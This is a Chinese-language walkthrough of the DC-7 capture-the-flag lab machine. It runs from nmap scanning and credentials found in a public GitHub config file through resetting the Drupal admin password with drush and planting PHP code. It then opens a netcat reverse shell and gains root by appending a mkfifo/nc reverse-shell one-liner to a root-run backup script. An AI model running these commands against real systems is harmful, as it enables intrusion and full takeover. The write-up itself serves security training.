当前位置:网站首页>DC-7靶机
DC-7靶机
2022-07-07 00:52:00 【m0_62094846】
ifconfig
查找主机IP
扫一波内网,探测下存活主机
nmap 192.168.61.0/24
使用nmap工具对DC-5靶机扫描开放的端口
nmap -A -T4 192.168.61.136 -p- -oN nmap136.A
nmap -A -T4 192.168.61.136 -p- -oN nmap136.A
有22和80端口
下面有提示DC7USER
百度一下
可以下载一个文件
这里也说明是重要点
下载到kali本地
git clone https://github.com/Dc7User/staffdb
cd staffdb
ls
cat config.php
使用SSH链接靶机,登录dc7user发现可以成功连接
ls
查到 backups mbox
backups下:website.sql.gpg website.tar.gz.gpg
发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码
mbox是个文件
发现备份执行的源码在/opt/scripts目录下
进入/opt/scripts目录下
cd /opt/scripts
查看文件
cat backups.sh
发现两个命令 gpg drush
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
进入到/var/www/html目录下,因为网站会有一个admin用户,所以使用drush命令修改admin用户的密码为123456,发现可以修改成功
cd /var/www/html/
drush user-password admin --password="123456"
admin的密码改成了123456
用dirb命令扫出页面
dirb http://192.168.61.136
在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但是发现不支持PHP
百度后知道,php要单独作为一个模块导入
PHP的模块下载地址:
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
勾选,然后点最下面的install
然后就可以了
回到当时的页面,就可以使用PHP了
用蚁剑就可以连接成功了
然后用kali监听
nc -lvvp 4444
nc -e /bin/bash 192.168.61.129 4444
python -c 'import pty;pty.spawn("/bin/bash")'
连接成功
find / -name backups.sh 2>/dev/null
然后
cd /opt/scripts
ls -l
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.61.129 7777 >/tmp/f" >> backups.sh
nc -lvvp 7777
得到了root权限
cd /root
ls
cat theflag.txt
边栏推荐
- An example of multi module collaboration based on NCF
- 每秒10W次分词搜索,产品经理又提了一个需求!!!(收藏)
- ML's shap: Based on the adult census income binary prediction data set (whether the predicted annual income exceeds 50K), use the shap decision diagram combined with the lightgbm model to realize the
- Win configuration PM2 boot auto start node project
- What EDA companies are there in China?
- Nodejs get client IP
- PTA 天梯赛练习题集 L2-002 链表去重
- 话说SQLyog欺骗了我!
- 牙齿干细胞的存储问题(未完待续)
- Why does the data center need a set of infrastructure visual management system
猜你喜欢
The solution of a simple algebraic problem
力扣102题:二叉树的层序遍历
【SQL实战】一条SQL统计全国各地疫情分布情况
An example of multi module collaboration based on NCF
PTA ladder game exercise set l2-004 search tree judgment
PTA 天梯赛练习题集 L2-004 搜索树判断
Loss function and positive and negative sample allocation in target detection: retinanet and focal loss
Dynamic memory management
Go语学习笔记 - gorm使用 - gorm处理错误 | Web框架Gin(十)
SAP ABAP BDC (batch data communication) -018
随机推荐
@pathvariable 和 @Requestparam的详细区别
[daily training -- Tencent selected 50] 292 Nim games
《ClickHouse原理解析与应用实践》读书笔记(6)
980. 不同路径 III DFS
Jstat pour la commande JVM: voir les statistiques JVM
SQL Server 2008 各种DateTime的取值范围
[SQL practice] a SQL statistics of epidemic distribution across the country
EMMC打印cqhci: timeout for tag 10提示分析与解决
Wechat applet Bluetooth connects hardware devices and communicates. Applet Bluetooth automatically reconnects due to abnormal distance. JS realizes CRC check bit
关于STC单片机“假死”状态的判别
Loss function and positive and negative sample allocation in target detection: retinanet and focal loss
Nodejs get client IP
MySQL performance_ Schema common performance diagnosis query
关于服装ERP,你知道多少?
The solution of a simple algebraic problem
【FPGA教程案例13】基于vivado核的CIC滤波器设计与实现
Hcip seventh operation
980. Different path III DFS
ML's shap: Based on the adult census income binary prediction data set (whether the predicted annual income exceeds 50K), use the shap decision diagram combined with the lightgbm model to realize the
【日常训练--腾讯精选50】235. 二叉搜索树的最近公共祖先